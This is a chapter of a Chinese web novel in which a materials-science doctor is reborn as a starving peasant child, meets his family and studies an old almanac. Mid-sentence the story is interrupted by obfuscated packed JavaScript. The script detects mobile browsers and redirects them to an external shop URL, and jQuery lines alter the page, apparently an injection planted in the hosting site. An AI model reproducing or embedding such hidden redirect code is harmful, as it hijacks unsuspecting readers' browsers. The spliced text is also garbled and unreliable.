林湛最后的意识，停留在实验室刺目的白光与器材倾倒的轰鸣里。再睁眼时，轰鸣变成了尖锐的耳鸣，白光变成了糊着破麻布、漏进几缕昏黄光线的屋顶。
以及，一股难以形容的、混合着泥土、霉味和某种食物馊酸气的味道，霸道地钻进他的鼻腔。
他动了动，发现自己正躺在一堆硬邦邦、带着潮气的“铺垫物”上，身量短小得让他心惊。视线所及，是四面斑驳的土墙，一个歪斜的、看起来一脚就能踹散架的破木柜，以及门口那道用树枝和旧席子勉强拼凑的门帘。
这不是他的单人公寓，更不是学校的实验室。
就在这时，一股更强烈的感觉压倒了对环境的惊诧——饿。那不是寻常三餐不继的饿，而是从胃袋深处烧上来，燎得喉咙发干、四肢发软、眼前一阵阵发黑的饿。仿佛这具小小的身体已经很久没有接纳过像样的东西了。
“湛哥儿？湛哥儿你醒了？”一个带着浓浓惊喜和疲惫的女声响起，伴随着急促的脚步声。
林湛僵硬地转动脖子，看见一个穿着打满补丁灰色粗布衣裙的年轻妇人扑到“床”边。她看起来至多二十出头，面黄肌瘦，眼眶深陷，但此刻眼睛里却迸发出惊人的亮光，枯瘦的手颤抖着抚上他的额头，“谢天谢地，烧退了！娘就知道，娘的湛哥儿命硬，一定能撑过来！”
娘？林湛的博士大脑卡壳了零点一秒，随即，一些破碎的、不属于他的记忆片段涌入——潮湿的雨季、冰冷的雨水、持续的高热、妇人焦急的哭泣、还有更久之前，一碗碗能照见人影的稀粥……
他，林湛，二十一世纪材料科学与工程博士，名校青椒（青年教师），实验事故的倒霉蛋，现在，似乎成了某个未知朝代、未知村落、一个名叫“湛哥儿”的……稚童。而且，处境堪忧，极度贫困，以及，快饿死了。
这穿越的待遇，是不是有点太“朴实无华”了？
“水……”他试图开口，声音却嘶哑微弱得像小猫叫。
“哎！水，有水！”妇人，现在应该称为他这具身体的母亲，连忙转身，从那个破木柜上端过一个豁了口的陶碗，小心地扶起他，将碗沿凑到他嘴边。
碗里是清澈的，嗯，真的是清澈见底的水。林湛也顾不上许多，小口小口地啜饮起来。微凉的水流划过干灼的喉咙，带来一丝慰藉，但空空如也的胃因此蠕动得更厉害了，发出一阵清晰的“咕噜”声。
年轻妇人脸上闪过深深的愧疚和心疼，她放下碗，对外面喊道：“大丫！大丫！快，把灶上温着的那碗糊糊端来！你弟弟醒了！”
“哎！来了！”一个比母亲更稚嫩些的声音应着，门帘被掀开，一个约莫六七岁、同样瘦小、穿着更破旧衣裙的小女孩，双手捧着一个比刚才那个碗更破的陶碗，小心翼翼地挪进来，脸上是如释重负的欢喜，“弟弟醒了！太好了！”
碗被递到林湛面前。他低头看去，碗里是一种灰褐色、粘稠的、散发着淡淡焦糊和野菜清苦气的……糊状物。以他匮乏的古代生活知识判断，这大概是某种粗糙谷物（可能是粟米？甚至麸皮？）混合了野菜熬煮的粥，而且浓度感人，基本可以称之为“带有固体颗粒的稀汤”。
放在以前，林博士对食物的最低要求是食堂小炒。现在，这碗“糙糊糊”在他眼里，散发着救命的金光。
他接过碗——碗很沉，对他现在的小手来说——试着用碗里放着的一小截磨光的木片（勺子？）舀起一点，送进嘴里。
味道……难以描述。粗糙的颗粒感划过舌尖，寡淡，微苦，带着焦味，几乎没什么盐味。但吞咽下去后，那一点点暖意和实在感，让火烧火燎的胃稍微安分了一些。
他几乎是本能地、小口却迅速地吃着，脑子里两个灵魂在打架。一个属于三岁病弱孩童，纯粹被生存欲望驱动；另一个是三十岁的博士灵魂，正在冷静（虽然带着点荒谬感）地分析现状：碳水化合物（少量）、植物纤维、疑似蛋白质匮乏、盐分摄入严重不足、微量元素未知……这具身体严重营养不良，高热初愈，能量储备几近于零。
一碗糊糊很快见底，胃里有了点东西，虽然距离“饱”还很遥远，但至少那股心慌腿软的感觉缓解了不少。林湛放下碗，舔了舔嘴角——这个动作有点幼稚，但他控制不住这具身体的本能。
“湛哥儿真乖，吃得真干净。”母亲王氏用粗糙的手摸了摸他的头，眼神慈爱又酸楚，“再歇歇，养足精神就好了。大丫，把碗拿出去洗了，轻点声，别吵着你爹，他天亮前才歇下。”
大丫，也就是他的姐姐，乖巧地应了，拿起碗悄声出去了。
林湛靠在母亲怀里，开始更仔细地接收和整理原身的记忆碎片。这里是大禄王朝永州府清河县下属的林家村。他是家里第三个孩子，上头一个姐姐大丫，一个据说早夭的哥哥。父亲林大山是个沉默寡言的庄稼汉，母亲王氏操持家务。记忆里最多的画面就是饿，偶尔有父亲扛着农具出门、母亲在昏暗油灯下缝补、姐姐带着他在村边挖野菜的场景。家里似乎只有两亩薄田，租种了族里几亩地，收成除去租子和税，剩下的糊口都艰难。这次他生病，就是因为前几日下雨，家里漏雨受凉，又没什么吃的，一下子就病倒了。
家徒四壁，一贫如洗。林湛在心里默默评估。没有系统提示音，没有老爷爷灵魂体，没有叮当作响的金手指到账。他唯一的倚仗，好像就是脑子里那份来自二十一世纪、饱含了数理化工生文史哲、差点把颈椎都压变形的海量知识，以及一套严谨（有时过于严谨）的逻辑思维方式。
用这些东西，在这个陌生的古代农业社会，从一个三岁濒死农家子的起点，活下去？甚至……改变命运？
林博士感到一阵熟悉的挑战欲，但旋即被更现实的饥饿感打断。知识不能直接转化为热量，当务之急，是别再被饿死或病死了。
他动了动，想看看自己现在具体什么样。王氏察觉到他的动作，轻柔地帮他调整了下姿势。“湛哥儿想看什么？”
林湛没说话，目光在简陋的屋子里逡巡。最后，落在了墙角一块略微平整的土地面上，那里似乎用树枝划过一些歪歪扭扭的痕迹，旁边还丢着一本边角卷起、纸张发黄的薄册子。
王氏顺着他的目光看去，叹了口气，低声道：“那是你爹前年从镇上回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179242|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，咬牙用三个鸡蛋换的黄历……本想学着认几个字，给家里添点气象。可咱们这样的人家，饭都吃不饱，哪是读书认字的料……也就偶尔翻翻，看看节气。”
黄历？字？
林湛的眼睛微微亮了一下。在知识垄断的时代，任何带有文字的载体，都可能是一扇窗，一把钥匙。
他伸出小手，指向那本黄历，声音依旧虚弱，但带上了点明确的意思：“看……那个……”
王氏愣了一下，随即有些心酸，又有些安慰：“湛哥儿想看？好，娘给你拿过来。可不能撕，知道吗？就看看。”她起身，小心地拍掉册子上的浮灰，拿过来放在林湛身边。
册子很旧，封面模糊。林湛用小手费力地翻开一页。泛黄的纸张上，是竖排的繁体字，印刷不算精美，但笔画清晰。他辨认着：“……宜祭祀、祈福、求嗣、斋醮；忌开市、嫁娶、安床……”
文字是熟悉的汉字演变体，结合记忆和上下文，理解无碍。这让他悄悄松了口气。语言和文字关看来问题不大，至少省去了从头学起的麻烦。
他看得专注，小眉头微微蹙起，一副努力辨认的样子。王氏在旁边看着，只当是孩子病中无聊，对带画（她以为那些字是画）的东西好奇，心里发软，又满是愁绪。这孩子命苦，生在这样的家，连本像样的启蒙书都没有……
就在这时，门外传来轻微的响动，一个高大的、带着一身晨露凉气和淡淡汗味的黑影走了进来，是父亲林大山回来了。他手里提着个小布袋，脸上带着疲惫，但看到倚在王氏怀里、睁着眼睛看黄历的林湛时，那疲惫似乎被冲淡了些，古铜色的脸上露出一丝几乎看不出的缓和。
“醒了？”他声音沙哑低沉。
“嗯，刚喝了糊糊，精神好些了。”王氏连忙道，“当家的，这么早？东西……”
林大山将那小布袋放在破木柜上，发出轻微的、谷物摩擦的窸窣声。“找三叔公借了半升粟米，先熬着。我一会儿再去后山转转，看能不能套点东西。”
半升粟米，借的。林湛捕捉到关键词。这个家，已经需要靠借粮度日了。
他抬起头，看向这个陌生的“父亲”。林大山也正看着他，那双被生活磨砺得有些浑浊的眼睛里，映出一个小小的、苍白却异常安静的孩子身影。
四目相对。林湛试着，扯动嘴角，露出了一个属于三岁孩童的、虚弱但清晰的微笑。
林大山似乎怔了一下，随即，他不太自然地转过头，闷声道：“醒了就好。”便转身去收拾角落的农具。
林湛收回目光，重新落在手中的黄历上。指尖摩挲过粗糙的纸页，那些古老的方块字仿佛带着微微的温度。
活下去。然后，认字，读书，弄清楚这个世界的规则。
博士的灵魂在小小的身体里轻轻呼出一口气。虽然开局堪称地狱难度，但至少，他醒过来了，并且拥有了第二次生命，以及一整个超越时代的“知识库”。
就从这本黄历开始吧。他模糊地想。至于未来……饭要一口一口吃，路要一步一步走。首先，他得确保自己别再因为一碗糊糊没吃饱而晕过去。